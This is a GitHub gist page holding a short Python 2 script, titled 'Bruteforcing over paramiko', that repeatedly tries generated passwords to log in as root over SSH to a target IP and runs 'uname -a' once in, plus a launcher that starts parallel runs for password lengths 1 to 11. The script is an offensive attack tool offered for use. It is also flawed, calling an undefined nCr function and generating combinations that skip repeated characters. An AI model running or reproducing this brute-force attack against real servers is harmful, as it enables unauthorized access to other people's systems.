Skip to content

Instantly share code, notes, and snippets.

@tdgunes
Created April 22, 2014 22:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tdgunes/11196814 to your computer and use it in GitHub Desktop.
Save tdgunes/11196814 to your computer and use it in GitHub Desktop.
Bruteforcing over paramiko
import string
import paramiko
from itertools import combinations
import sys
server_ip = "" #put ip of the user here
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
charset = string.printable[:36]
def writeCombinations(size):
n = len(charset)
password_size = nCr(n, size)
print "Generating:", password_size
all_combinations = combinations(charset, size)
for p in combinations(charset, size):
password = "".join(p)
yield password
for password in writeCombinations(int(sys.argv[-1])):
print "trying:", password ,
try:
ssh.connect(server_ip, username='root', password=password)
stdin, stdout, stderr = ssh.exec_command('uname -a')
print "is success"
for line in stdout.readlines():
print line
break
except paramiko.ssh_exception.AuthenticationException:
print "is failed"
except KeyboardInterrupt:
pass
except:
pass
import os
size = 12
# attack with different sizes :)
for i in range(1,size):
os.system("python -u bruteforce.py %s > ./flog-%s.txt &" % (str(i), str(i)))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment